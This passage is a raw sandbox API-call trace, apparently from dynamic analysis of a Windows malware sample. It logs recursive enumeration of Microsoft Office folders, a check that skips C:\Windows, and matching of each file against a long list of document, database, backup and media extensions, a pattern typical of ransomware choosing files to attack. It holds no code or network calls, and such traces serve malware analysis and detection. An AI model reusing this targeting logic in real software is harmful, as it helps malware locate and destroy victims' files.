(lpString=".asmx") returned 5 [0263.663] lstrcmpiW (lpString1=".asmx", lpString2="2.CSS") returned -1 [0263.663] lstrlenW (lpString=".asp") returned 4 [0263.663] lstrcmpiW (lpString1=".asp", lpString2=".CSS") returned -1 [0263.663] lstrlenW (lpString=".aspx") returned 5 [0263.663] lstrcmpiW (lpString1=".aspx", lpString2="2.CSS") returned -1 [0263.663] lstrlenW (lpString=".asr") returned 4 [0263.663] lstrcmpiW (lpString1=".asr", lpString2=".CSS") returned -1 [0263.663] lstrlenW (lpString=".asx") returned 4 [0263.663] lstrcmpiW (lpString1=".asx", lpString2=".CSS") returned -1 [0263.663] lstrlenW (lpString=".avi") returned 4 [0263.663] lstrcmpiW (lpString1=".avi", lpString2=".CSS") returned -1 [0263.663] lstrlenW (lpString=".avs") returned 4 [0263.664] lstrcmpiW (lpString1=".avs", lpString2=".CSS") returned -1 [0263.664] lstrlenW (lpString=".backup") returned 7 [0263.664] lstrcmpiW (lpString1=".backup", lpString2="E02.CSS") returned -1 [0263.664] lstrlenW (lpString=".bak") returned 4 [0263.664] lstrcmpiW (lpString1=".bak", lpString2=".CSS") returned -1 [0263.664] lstrlenW (lpString=".bay") returned 4 [0263.664] lstrcmpiW (lpString1=".bay", lpString2=".CSS") returned -1 [0263.664] lstrlenW (lpString=".bd") returned 3 [0263.664] lstrcmpiW (lpString1=".bd", lpString2="CSS") returned -1 [0263.664] lstrlenW (lpString=".bin") returned 4 [0263.664] lstrcmpiW (lpString1=".bin", lpString2=".CSS") returned -1 [0263.664] lstrlenW (lpString=".bmp") returned 4 [0263.664] lstrcmpiW (lpString1=".bmp", lpString2=".CSS") returned -1 [0263.664] lstrlenW (lpString=".bz2") returned 4 [0263.664] lstrcmpiW (lpString1=".bz2", lpString2=".CSS") returned -1 [0263.664] lstrlenW (lpString=".c") returned 2 [0263.664] lstrcmpiW (lpString1=".c", lpString2="SS") returned -1 [0263.664] lstrlenW (lpString=".cdr") returned 4 [0263.664] lstrcmpiW (lpString1=".cdr", lpString2=".CSS") returned -1 [0263.664] lstrlenW (lpString=".cer") returned 4 [0263.664] lstrcmpiW (lpString1=".cer", lpString2=".CSS") returned -1 [0263.664] lstrlenW (lpString=".cf") returned 3 [0263.664] lstrcmpiW (lpString1=".cf", lpString2="CSS") returned -1 [0263.664] lstrlenW (lpString=".cfc") returned 4 [0263.664] lstrcmpiW (lpString1=".cfc", lpString2=".CSS") returned -1 [0263.664] lstrlenW (lpString=".cfm") returned 4 [0263.664] lstrcmpiW (lpString1=".cfm", lpString2=".CSS") returned -1 [0263.664] lstrlenW (lpString=".cfml") returned 5 [0263.664] lstrcmpiW (lpString1=".cfml", lpString2="2.CSS") returned -1 [0263.664] lstrlenW (lpString=".cfu") returned 4 [0263.664] lstrcmpiW (lpString1=".cfu", lpString2=".CSS") returned -1 [0263.665] lstrlenW (lpString=".chm") returned 4 [0263.665] lstrcmpiW (lpString1=".chm", lpString2=".CSS") returned -1 [0263.665] lstrlenW (lpString=".cin") returned 4 [0263.665] lstrcmpiW (lpString1=".cin", lpString2=".CSS") returned -1 [0263.665] lstrlenW (lpString=".class") returned 6 [0263.665] lstrcmpiW (lpString1=".class", lpString2="02.CSS") returned -1 [0263.665] lstrlenW (lpString=".clx") returned 4 [0263.665] lstrcmpiW (lpString1=".clx", lpString2=".CSS") returned -1 [0263.665] lstrlenW (lpString=".config") returned 7 [0263.665] lstrcmpiW (lpString1=".config", lpString2="E02.CSS") returned -1 [0263.665] lstrlenW (lpString=".cpp") returned 4 [0263.665] lstrcmpiW (lpString1=".cpp", lpString2=".CSS") returned -1 [0263.665] lstrlenW (lpString=".cr2") returned 4 [0263.665] lstrcmpiW (lpString1=".cr2", lpString2=".CSS") returned -1 [0263.665] lstrlenW (lpString=".crt") returned 4 [0263.665] lstrcmpiW (lpString1=".crt", lpString2=".CSS") returned -1 [0263.666] RtlpDeCommitFreeBlock () [0263.666] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0263.684] RtlpDeCommitFreeBlock () [0263.684] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87ce900, ftCreationTime.dwHighDateTime=0x1ca9b87, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc87ce900, ftLastWriteTime.dwHighDateTime=0x1ca9b87, nFileSizeHigh=0x0, nFileSizeLow=0x29d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0263.687] RtlpDeCommitFreeBlock () [0263.687] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x39aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0263.697] RtlpDeCommitFreeBlock () [0263.697] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0xa3380, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1 [0263.700] RtlpDeCommitFreeBlock () [0263.700] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0263.701] RtlpDeCommitFreeBlock () [0263.701] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0263.702] RtlpDeCommitFreeBlock () [0263.702] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0263.763] RtlpDeCommitFreeBlock () [0263.763] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0263.777] RtlpDeCommitFreeBlock () [0263.777] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0263.781] RtlpDeCommitFreeBlock () [0263.781] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0263.782] RtlpDeCommitFreeBlock () [0263.782] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0263.787] RtlpDeCommitFreeBlock () [0263.787] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0263.787] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0263.787] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4598148 | out: hHeap=0x540000) returned 1 [0263.787] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0263.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned 50 [0263.787] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned 1 [0263.788] lstrlenW (lpString="BORDERS") returned 7 [0263.788] lstrcmpiW (lpString1="C:\\Windows", lpString2="BORDERS") returned 1 [0263.788] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x4598148 [0263.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned 50 [0263.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f088 [0263.788] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.788] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0263.788] lstrlenW (lpString="MSART1.BDR") returned 10 [0263.788] lstrlenW (lpString=".1cd") returned 4 [0263.789] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0263.789] lstrlenW (lpString=".3ds") returned 4 [0263.789] lstrcmpiW (lpString1=".3ds", lpString2=".BDR") returned -1 [0263.789] lstrlenW (lpString=".3fr") returned 4 [0263.789] lstrcmpiW (lpString1=".3fr", lpString2=".BDR") returned -1 [0263.789] lstrlenW (lpString=".3g2") returned 4 [0263.789] lstrcmpiW (lpString1=".3g2", lpString2=".BDR") returned -1 [0263.789] lstrlenW (lpString=".3gp") returned 4 [0263.789] lstrcmpiW (lpString1=".3gp", lpString2=".BDR") returned -1 [0263.789] lstrlenW (lpString=".7z") returned 3 [0263.789] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0263.789] lstrlenW (lpString=".accda") returned 6 [0263.789] lstrcmpiW (lpString1=".accda", lpString2="T1.BDR") returned -1 [0263.789] lstrlenW (lpString=".accdb") returned 6 [0263.789] lstrcmpiW (lpString1=".accdb", lpString2="T1.BDR") returned -1 [0263.789] lstrlenW (lpString=".accdc") returned 6 [0263.789] lstrcmpiW (lpString1=".accdc", lpString2="T1.BDR") returned -1 [0263.789] lstrlenW (lpString=".accde") returned 6 [0263.789] lstrcmpiW (lpString1=".accde", lpString2="T1.BDR") returned -1 [0263.789] lstrlenW (lpString=".accdt") returned 6 [0263.789] lstrcmpiW (lpString1=".accdt", lpString2="T1.BDR") returned -1 [0263.789] lstrlenW (lpString=".accdw") returned 6 [0263.789] lstrcmpiW (lpString1=".accdw", lpString2="T1.BDR") returned -1 [0263.789] lstrlenW (lpString=".adb") returned 4 [0263.789] lstrcmpiW (lpString1=".adb", lpString2=".BDR") returned -1 [0263.789] lstrlenW (lpString=".adp") returned 4 [0263.789] lstrcmpiW (lpString1=".adp", lpString2=".BDR") returned -1 [0263.789] lstrlenW (lpString=".ai") returned 3 [0263.789] lstrcmpiW (lpString1=".ai", lpString2="BDR") returned -1 [0263.790] lstrlenW (lpString=".ai3") returned 4 [0263.790] lstrcmpiW (lpString1=".ai3", lpString2=".BDR") returned -1 [0263.790] lstrlenW (lpString=".ai4") returned 4 [0263.790] lstrcmpiW (lpString1=".ai4", lpString2=".BDR") returned -1 [0263.790] lstrlenW (lpString=".ai5") returned 4 [0263.790] lstrcmpiW (lpString1=".ai5", lpString2=".BDR") returned -1 [0263.790] lstrlenW (lpString=".ai6") returned 4 [0263.790] lstrcmpiW (lpString1=".ai6", lpString2=".BDR") returned -1 [0263.790] lstrlenW (lpString=".ai7") returned 4 [0263.790] lstrcmpiW (lpString1=".ai7", lpString2=".BDR") returned -1 [0263.790] lstrlenW (lpString=".ai8") returned 4 [0263.790] lstrcmpiW (lpString1=".ai8", lpString2=".BDR") returned -1 [0263.790] lstrlenW (lpString=".anim") returned 5 [0263.790] lstrcmpiW (lpString1=".anim", lpString2="1.BDR") returned -1 [0263.790] lstrlenW (lpString=".arw") returned 4 [0263.790] lstrcmpiW (lpString1=".arw", lpString2=".BDR") returned -1 [0263.790] lstrlenW (lpString=".as") returned 3 [0263.790] lstrcmpiW (lpString1=".as", lpString2="BDR") returned -1 [0263.790] lstrlenW (lpString=".asa") returned 4 [0263.790] lstrcmpiW (lpString1=".asa", lpString2=".BDR") returned -1 [0263.790] lstrlenW (lpString=".asc") returned 4 [0263.790] lstrcmpiW (lpString1=".asc", lpString2=".BDR") returned -1 [0263.790] lstrlenW (lpString=".ascx") returned 5 [0263.790] lstrcmpiW (lpString1=".ascx", lpString2="1.BDR") returned -1 [0263.790] lstrlenW (lpString=".asm") returned 4 [0263.791] lstrcmpiW (lpString1=".asm", lpString2=".BDR") returned -1 [0263.791] lstrlenW (lpString=".asmx") returned 5 [0263.791] lstrcmpiW (lpString1=".asmx", lpString2="1.BDR") returned -1 [0263.791] lstrlenW (lpString=".asp") returned 4 [0263.791] lstrcmpiW (lpString1=".asp", lpString2=".BDR") returned -1 [0263.791] lstrlenW (lpString=".aspx") returned 5 [0263.791] lstrcmpiW (lpString1=".aspx", lpString2="1.BDR") returned -1 [0263.791] lstrlenW (lpString=".asr") returned 4 [0263.791] lstrcmpiW (lpString1=".asr", lpString2=".BDR") returned -1 [0263.791] lstrlenW (lpString=".asx") returned 4 [0263.791] lstrcmpiW (lpString1=".asx", lpString2=".BDR") returned -1 [0263.791] lstrlenW (lpString=".avi") returned 4 [0263.791] lstrcmpiW (lpString1=".avi", lpString2=".BDR") returned -1 [0263.791] lstrlenW (lpString=".avs") returned 4 [0263.791] lstrcmpiW (lpString1=".avs", lpString2=".BDR") returned -1 [0263.791] lstrlenW (lpString=".backup") returned 7 [0263.791] lstrcmpiW (lpString1=".backup", lpString2="RT1.BDR") returned -1 [0263.791] lstrlenW (lpString=".bak") returned 4 [0263.791] lstrcmpiW (lpString1=".bak", lpString2=".BDR") returned -1 [0263.791] lstrlenW (lpString=".bay") returned 4 [0263.791] lstrcmpiW (lpString1=".bay", lpString2=".BDR") returned -1 [0263.791] lstrlenW (lpString=".bd") returned 3 [0263.791] lstrcmpiW (lpString1=".bd", lpString2="BDR") returned -1 [0263.791] lstrlenW (lpString=".bin") returned 4 [0263.792] lstrcmpiW (lpString1=".bin", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".bmp") returned 4 [0263.792] lstrcmpiW (lpString1=".bmp", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".bz2") returned 4 [0263.792] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".c") returned 2 [0263.792] lstrcmpiW (lpString1=".c", lpString2="DR") returned -1 [0263.792] lstrlenW (lpString=".cdr") returned 4 [0263.792] lstrcmpiW (lpString1=".cdr", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".cer") returned 4 [0263.792] lstrcmpiW (lpString1=".cer", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".cf") returned 3 [0263.792] lstrcmpiW (lpString1=".cf", lpString2="BDR") returned -1 [0263.792] lstrlenW (lpString=".cfc") returned 4 [0263.792] lstrcmpiW (lpString1=".cfc", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".cfm") returned 4 [0263.792] lstrcmpiW (lpString1=".cfm", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".cfml") returned 5 [0263.792] lstrcmpiW (lpString1=".cfml", lpString2="1.BDR") returned -1 [0263.792] lstrlenW (lpString=".cfu") returned 4 [0263.792] lstrcmpiW (lpString1=".cfu", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".chm") returned 4 [0263.792] lstrcmpiW (lpString1=".chm", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".cin") returned 4 [0263.792] lstrcmpiW (lpString1=".cin", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".class") returned 6 [0263.792] lstrcmpiW (lpString1=".class", lpString2="T1.BDR") returned -1 [0263.792] lstrlenW (lpString=".clx") returned 4 [0263.792] lstrcmpiW (lpString1=".clx", lpString2=".BDR") returned 1 [0263.792] lstrlenW (lpString=".config") returned 7 [0263.792] lstrcmpiW (lpString1=".config", lpString2="RT1.BDR") returned -1 [0263.793] lstrlenW (lpString=".cpp") returned 4 [0263.793] lstrcmpiW (lpString1=".cpp", lpString2=".BDR") returned 1 [0263.793] lstrlenW (lpString=".cr2") returned 4 [0263.793] lstrcmpiW (lpString1=".cr2", lpString2=".BDR") returned 1 [0263.793] lstrlenW (lpString=".crt") returned 4 [0263.793] lstrcmpiW (lpString1=".crt", lpString2=".BDR") returned 1 [0263.793] lstrlenW (lpString=".crw") returned 4 [0263.793] lstrcmpiW (lpString1=".crw", lpString2=".BDR") returned 1 [0263.793] lstrlenW (lpString=".cs") returned 3 [0263.793] lstrcmpiW (lpString1=".cs", lpString2="BDR") returned -1 [0263.793] lstrlenW (lpString=".css") returned 4 [0263.793] lstrcmpiW (lpString1=".css", lpString2=".BDR") returned 1 [0263.793] lstrlenW (lpString=".csv") returned 4 [0263.793] lstrcmpiW (lpString1=".csv", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".cub") returned 4 [0263.794] lstrcmpiW (lpString1=".cub", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".dae") returned 4 [0263.794] lstrcmpiW (lpString1=".dae", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".dat") returned 4 [0263.794] lstrcmpiW (lpString1=".dat", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".db") returned 3 [0263.794] lstrcmpiW (lpString1=".db", lpString2="BDR") returned -1 [0263.794] lstrlenW (lpString=".dbf") returned 4 [0263.794] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".dbx") returned 4 [0263.794] lstrcmpiW (lpString1=".dbx", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".dc3") returned 4 [0263.794] lstrcmpiW (lpString1=".dc3", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".dcm") returned 4 [0263.794] lstrcmpiW (lpString1=".dcm", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".dcr") returned 4 [0263.794] lstrcmpiW (lpString1=".dcr", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".der") returned 4 [0263.794] lstrcmpiW (lpString1=".der", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".dib") returned 4 [0263.794] lstrcmpiW (lpString1=".dib", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".dic") returned 4 [0263.794] lstrcmpiW (lpString1=".dic", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".dif") returned 4 [0263.794] lstrcmpiW (lpString1=".dif", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".divx") returned 5 [0263.794] lstrcmpiW (lpString1=".divx", lpString2="1.BDR") returned -1 [0263.794] lstrlenW (lpString=".djvu") returned 5 [0263.794] lstrcmpiW (lpString1=".djvu", lpString2="1.BDR") returned -1 [0263.794] lstrlenW (lpString=".dng") returned 4 [0263.794] lstrcmpiW (lpString1=".dng", lpString2=".BDR") returned 1 [0263.794] lstrlenW (lpString=".doc") returned 4 [0263.795] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0263.795] lstrlenW (lpString=".docm") returned 5 [0263.795] lstrcmpiW (lpString1=".docm", lpString2="1.BDR") returned -1 [0263.795] lstrlenW (lpString=".docx") returned 5 [0263.795] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0263.795] lstrlenW (lpString=".dot") returned 4 [0263.795] lstrcmpiW (lpString1=".dot", lpString2=".BDR") returned 1 [0263.795] lstrlenW (lpString=".dotm") returned 5 [0263.795] lstrcmpiW (lpString1=".dotm", lpString2="1.BDR") returned -1 [0263.795] lstrlenW (lpString=".dotx") returned 5 [0263.795] lstrcmpiW (lpString1=".dotx", lpString2="1.BDR") returned -1 [0263.795] lstrlenW (lpString=".dpx") returned 4 [0263.795] lstrcmpiW (lpString1=".dpx", lpString2=".BDR") returned 1 [0263.795] lstrlenW (lpString=".dqy") returned 4 [0263.795] lstrcmpiW (lpString1=".dqy", lpString2=".BDR") returned 1 [0263.795] lstrlenW (lpString=".dsn") returned 4 [0263.795] lstrcmpiW (lpString1=".dsn", lpString2=".BDR") returned 1 [0263.795] lstrlenW (lpString=".dt") returned 3 [0263.795] lstrcmpiW (lpString1=".dt", lpString2="BDR") returned -1 [0263.795] lstrlenW (lpString=".dtd") returned 4 [0263.796] lstrcmpiW (lpString1=".dtd", lpString2=".BDR") returned 1 [0263.796] lstrlenW (lpString=".dwg") returned 4 [0263.796] lstrcmpiW (lpString1=".dwg", lpString2=".BDR") returned 1 [0263.796] lstrlenW (lpString=".dwt") returned 4 [0263.796] lstrcmpiW (lpString1=".dwt", lpString2=".BDR") returned 1 [0263.796] lstrlenW (lpString=".dx") returned 3 [0263.796] lstrcmpiW (lpString1=".dx", lpString2="BDR") returned -1 [0263.796] lstrlenW (lpString=".dxf") returned 4 [0263.796] lstrcmpiW (lpString1=".dxf", lpString2=".BDR") returned 1 [0263.796] lstrlenW (lpString=".edml") returned 5 [0263.796] lstrcmpiW (lpString1=".edml", lpString2="1.BDR") returned -1 [0263.796] lstrlenW (lpString=".efd") returned 4 [0263.796] lstrcmpiW (lpString1=".efd", lpString2=".BDR") returned 1 [0263.796] lstrlenW (lpString=".elf") returned 4 [0263.796] lstrcmpiW (lpString1=".elf", lpString2=".BDR") returned 1 [0263.796] lstrlenW (lpString=".emf") returned 4 [0263.796] lstrcmpiW (lpString1=".emf", lpString2=".BDR") returned 1 [0263.796] lstrlenW (lpString=".emz") returned 4 [0263.796] lstrcmpiW (lpString1=".emz", lpString2=".BDR") returned 1 [0263.796] lstrlenW (lpString=".epf") returned 4 [0263.796] lstrcmpiW (lpString1=".epf", lpString2=".BDR") returned 1 [0263.796] lstrlenW (lpString=".eps") returned 4 [0263.796] lstrcmpiW (lpString1=".eps", lpString2=".BDR") returned 1 [0263.796] lstrlenW (lpString=".epsf") returned 5 [0263.796] lstrcmpiW (lpString1=".epsf", lpString2="1.BDR") returned -1 [0263.797] lstrlenW (lpString=".epsp") returned 5 [0263.797] lstrcmpiW (lpString1=".epsp", lpString2="1.BDR") returned -1 [0263.797] lstrlenW (lpString=".erf") returned 4 [0263.797] lstrcmpiW (lpString1=".erf", lpString2=".BDR") returned 1 [0263.797] lstrlenW (lpString=".exr") returned 4 [0263.797] lstrcmpiW (lpString1=".exr", lpString2=".BDR") returned 1 [0263.797] lstrlenW (lpString=".f4v") returned 4 [0263.797] lstrcmpiW (lpString1=".f4v", lpString2=".BDR") returned 1 [0263.797] lstrlenW (lpString=".fido") returned 5 [0263.797] lstrcmpiW (lpString1=".fido", lpString2="1.BDR") returned -1 [0263.797] lstrlenW (lpString=".flm") returned 4 [0263.797] lstrcmpiW (lpString1=".flm", lpString2=".BDR") returned 1 [0263.797] lstrlenW (lpString=".flv") returned 4 [0263.797] lstrcmpiW (lpString1=".flv", lpString2=".BDR") returned 1 [0263.797] lstrlenW (lpString=".frm") returned 4 [0263.797] lstrcmpiW (lpString1=".frm", lpString2=".BDR") returned 1 [0263.797] lstrlenW (lpString=".fxg") returned 4 [0263.797] lstrcmpiW (lpString1=".fxg", lpString2=".BDR") returned 1 [0263.797] lstrlenW (lpString=".geo") returned 4 [0263.797] lstrcmpiW (lpString1=".geo", lpString2=".BDR") returned 